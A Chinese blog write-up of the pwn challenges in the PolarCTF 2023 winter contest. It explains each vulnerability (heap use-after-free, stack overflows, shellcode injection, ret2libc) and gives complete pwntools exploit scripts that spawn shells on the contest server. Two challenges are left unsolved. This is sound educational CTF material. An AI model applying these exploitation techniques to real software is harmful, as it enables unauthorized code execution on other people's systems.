PolarCTF 2023冬季个人挑战赛 WriteUp (pwn部分)_polar ctf 东北话是最好的语言-CSDN博客

本文链接：https://blog.csdn.net/m0_62652276/article/details/135420047

引言

在本次PolarCTF 2023冬季个人挑战赛中，pwn部分题目题量较大，对栈溢出及堆溢出相关知识均有所考查。但同时，有相当一部分题目侧重于对基础知识，经典题型的考查，对于CTF入门学习者来说相对友好。

简单难度

1.1 like_it

本题主要考查pwn堆溢出fastbin attack相关知识

程序分析

使用checksec工具分析，开启了canary和NX保护

运行程序有三个选项，分别进行测试

设定note大小并新建一个note

显示已新建的note

删除创建的note

代码解读

可以发现main函数中有一个def()函数

查看函数，该函数对应一开始出现的"Hi! What do you like?"，并将输入读入到缓冲区buf中

strtok 是 C 语言中的一个函数，用于在字符串中进行分割，它根据给定的分隔符将字符串拆分成一系列的标记。

上述嵌套if语句中，先对输入使用","进行分割，判断分割后是否存在内容。若存在，再使用"."进行分割，并判断是否存在内容。若仍存在，再将余下的字符串与"everyone"使用strcmp()函数进行比较，若相等则返回0，则if语句判断条件不成立。在上述三个if语句中，(unsigned int)ptrace(PTRACE_TRACEME) 用于反调试，但最终剩下的字符串若等于"everyone"，反调试并不生效，而是会正常退出，进而实现对上述反调试代码的绕过。

在main()函数中，可以看到各个选项所对应的函数

（1）首先查看add_note()函数，该函数用于添加一条note

在第一个与第二个红框处，为指向print_note_content函数的指针（可能是一个结构体）分配了0x10大小的内存，由下图可以看出print_note_content函数实际上就是puts函数

在第三个与第四个红框处，根据用户输入的size值来开辟相应的内存空间，随后note内容被存入该空间

.bss段中notelist处空间情况如下图所示

（2）然后，查看del_note()函数

该函数根据用户输入的 Index 值来确定删除哪一个note，第二个红框中，对存放note和puts函数的内存空间都进行了释放，但没有将指针置空，存在漏洞

可以发现，题目给出的程序存在后门函数magic，通过执行该函数可以获取flag。那么，可以尝试将del_note()函数中未置空的指针指向magic函数的地址，进而执行该后门函数。

（3）最后，查看print_note()函数，该函数通过调用add_note()函数中提到的puts函数来打印用户输入的 Index 值指定的note内容

脚本编写

首先，构造用于绕过def()函数的字符串

io.recvuntil('like?')
io.sendline('Hello,everyone.')

然后，通过两次调用Add函数来申请两个堆块，此时输入的Size最小值 = 0x10 + len(Context) + 1

Add(0x14, 'polar_ctf')  # chunk 0
Add(0x19, 'polar_ctf_2023')  # chunk 1

可以再申请一个堆块，用于POP chunk隔离

Add(0x10, 'polar')  # chunk 2

将申请的第0个和第1个堆块进行释放，先释放 chunk 0 再释放 chunk 1

Del(0)
Del(1)

然后，再申请一个堆块 chunk 0，将后门函数的地址写入。在此时的Add函数执行过程中，会先调用chunk 1 中的结构体（puts函数），然后在调用 chunk 0 的结构体（puts函数）时，将后门函数写入。

最后，通过调用print_note()函数来执行后门函数，得到flag

Add(6, p64(magic_addr))
Show(0)

完整脚本如下

from pwn import *

context(arch='amd64', os='linux', log_level='debug')
io = remote('120.46.59.242', 2066)

magic_addr = 0x400CB1


def Add(Size, Context):
    io.recvuntil(':')
    io.sendline('1')
    io.recvuntil(':')
    io.sendline(str(Size))
    io.recvuntil(':')
    io.sendline(Context)


def Del(Index):
    io.recvuntil(':')
    io.sendline('2')
    io.recvuntil(':')
    io.sendline(str(Index))


def Show(Index):
    io.recvuntil(':')
    io.sendline('3')
    io.recvuntil(':')
    io.sendline(str(Index))


io.recvuntil('like?')
io.sendline('Hello,everyone.')

# min_Size = 0x10 + len(Context) + 1
Add(0x14, 'polar_ctf')  # chunk 0
Add(0x19, 'polar_ctf_2023')  # chunk 1
# 用于POP chunk隔离
Add(0x10, 'polar')  # chunk 2

# todo 思考为什么是先删除0，再删除1
Del(0)
Del(1)

Add(6, p64(magic_addr))
Show(0)

io.interactive()

1.2 shellcode1

本题主要考查栈溢出中shellcode写入利用相关知识

程序分析

使用checksec分析，NX保护开启情况未知

代码解读

程序一开始会进入到如下函数中

通过查看发现，read() 函数中的参数 x 位于 .bss 段

此外，由于 gets() 函数由于未对输入长度进行限制，存在栈溢出漏洞

那么，我们可以通过 read() 函数将 shellcode 写入 .bss 段中，然后通过栈溢出漏洞覆盖函数返回地址为 .bss 段中我们写入的 shellcode 地址，进而 getshell

脚本编写

from pwn import *

context(arch='i386', os='linux', log_level='debug')
io = remote('120.46.59.242', 2115)
elf = ELF('./shellcode1')

x_addr = 0x804a080

shellcode = asm(shellcraft.sh())
io.sendlineafter('name?', shellcode)
payload = b'a' * 0x6c + b'b' * 4 + p32(x_addr)
io.sendlineafter('me:', payload)
io.interactive()

1.3 guess

程序分析

代码解读

Start()函数中有一个gets()函数，且不对输入长度作限制，存在栈溢出漏洞

在Exports中，可以看到有一个位于.bss段的变量 buf2

那么，我们可以将 '/bin/bash' 写入位于.bss段的变量 buf2 中，并将其作为system()函数的参数调用system()函数执行来get shell

脚本编写

我们通过 elf.sym[] 或者 elf.plt[] 来获取 gets system的plt表地址，初步编写脚本如下

from pwn import *

context(arch='i386', os='linux', log_level='debug')
io = remote('120.46.59.242', 2069)
elf = ELF('./guess')

gets_addr = elf.sym['gets']
system_addr = elf.sym['system']
buf2_addr = 0x804a080

payload = b'a' * 0x6c + b'b' * 4 + p32(gets_addr) + p32() + p32()

由于gets()函数跳过4个字节去寻找参数，那么完善payload如下

payload = b'a' * 0x6c + b'b' * 4 + p32(gets_addr) + p32() + p32(buf2_addr)

将 '/bin/bash' 作为参数传入 buf2 中后，需要继续调用 system() 函数，并将 buf2 中的 '/bin/bash' 作为system() 函数的参数调用，由于 system() 函数也是跳过4个字节去寻找参数，那么进一步完善 payload 如下

payload = b'a' * 0x6c + b'b' * 4 + p32(gets_addr) + p32(system_addr) + p32(buf2_addr) + p32(buf2_addr)

最终，完整脚本如下

from pwn import *

context(arch='i386', os='linux', log_level='debug')
io = remote('120.46.59.242', 2069)
elf = ELF('./guess')

gets_addr = elf.sym['gets']
system_addr = elf.sym['system']
buf2_addr = 0x804a080

payload = b'a' * 0x6c + b'b' * 4 + p32(gets_addr) + p32(system_addr) + p32(buf2_addr) + p32(buf2_addr)
io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()

中等难度

2.1 fate

程序分析

代码解读

本题一开始会进入到如下函数

由于本题直接在 exploit() 函数中给出了 system("/bin/sh")，因此我们直接通过 back() 函数中存在的栈溢出漏洞，覆盖函数返回地址为 exploit() 函数地址即可getshell

脚本编写

from pwn import *

context(arch='i386', os='linux', log_level='debug')
io = remote('120.46.59.242', 2101)

exploit_addr = 0x804887c

payload = b'a' * 0x6c + b'b' * 4 + p32(exploit_addr)
io.sendlineafter('back', payload)
io.interactive()

2.2 look

本题为一道典型的 ret2libc32 题目

程序分析

代码解读

在Start()函数中，read()函数可读入0xc8个字节，但buf大小仅0x6c字节，存在栈溢出漏洞

由于在字串及Exports中均无其他可利用信息，也无其他后门函数，因此本题将通过 ret2libc 获取shell

脚本编写

首先

from pwn import *

context(arch='i386', os='linux', log_level='debug')
io = remote('120.46.59.242', 2074)
elf = ELF('./look')

write_plt = elf.plt['write']
write_got = elf.got['write']
Start_addr = 0x08048561

payload = b'a' * 0x6c + b'b' * 4 + p32(write_plt) + p32(Start_addr) + p32(1) + p32(write_got) + p32(4)

io.sendline(payload)
write_addr = u32(io.recv(4))
success("write_addr >>> 0x%x" % write_addr)

然后进行在线调试，查看输出情况，发现此时 write_addr 为 0xf7e964d0

前往 https://libc.blukat.me，根据 write_addr 来查找相应的 libc

根据 write 函数在 libc 中的偏移量，可以计算出基址，进而计算出 system、str_bin_sh 在 libc 中的地址

利用 system、str_bin_sh 在 libc 中的地址编写 payload 进行二次溢出来 get shell，脚本后半段如下

base_addr = write_addr - 0x0d44d0
system_addr = base_addr + 0x03a950
bin_sh_addr = base_addr + 0x15912b

payload = b'a' * 0x6c + b'b' * 4 + p32(system_addr) + p32(Start_addr) + p32(bin_sh_addr)

io.sendline(payload)
io.interactive()

最终，完整脚本如下

from pwn import *

context(arch='i386', os='linux', log_level='debug')
io = remote('120.46.59.242', 2074)
elf = ELF('./look')

write_plt = elf.plt['write']
write_got = elf.got['write']
Start_addr = 0x08048561

payload = b'a' * 0x6c + b'b' * 4 + p32(write_plt) + p32(Start_addr) + p32(1) + p32(write_got) + p32(4)

io.sendline(payload)
write_addr = u32(io.recv(4))
success("write_addr >>> 0x%x" % write_addr)

base_addr = write_addr - 0x0d44d0
system_addr = base_addr + 0x03a950
bin_sh_addr = base_addr + 0x15912b

payload = b'a' * 0x6c + b'b' * 4 + p32(system_addr) + p32(Start_addr) + p32(bin_sh_addr)

io.sendline(payload)
io.interactive()

2.3 easy_exit

程序分析

（题解待补充）

2.4 worker

程序分析

（题解待补充）

困难难度

3.1 05ret2libc_64

这是一道常规的64位程序ret2libc题

代码解读

查看字串，可以发现没有system函数，也没有"/bin/sh"

本题由main函数直接进入 putting() 函数中，很明显在gets函数处存在栈溢出漏洞

由题目名称可知，本题为一道ret2libc，那么按照常规解法求解即可

脚本编写

首先，使用 ROPgadget 查看返回地址，可得 pop_rdi_ret = 0x400843，ret_addr = 0x400581

同样可以前往 libc database search，根据 puts_addr 来查找相应的 libc，调试过程得到 puts_addr 如下

通过 libc database 找到system、puts以及str_bin_sh在libc中的偏移量，然后根据 puts 函数在 libc 中的偏移量，可以计算出基址，进而计算出 system、str_bin_sh 在 libc 中的地址

整体而言，本题依旧是通过构造二次溢出来getshell，完整脚本如下

from pwn import *

context(arch='amd64', os='linux', log_level='debug')
io = remote('120.46.59.242', 2123)
elf = ELF('./05ret2libc_64')

pop_rdi_ret = 0x400843
ret_addr = 0x400581
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.sym['main']

payload = b'a' * 0x100 + b'b' * 8 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.sendlineafter('question:\n', payload)

puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print('puts_addr=', hex(puts_addr))

libc_base = puts_addr - 0x06f6a0
system_addr = libc_base + 0x0453a0
bin_sh_addr = libc_base + 0x18ce57

payload = b'a' * 0x100 + b'b' * 8 + p64(ret_addr) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
io.sendlineafter('question:\n', payload)
io.interactive()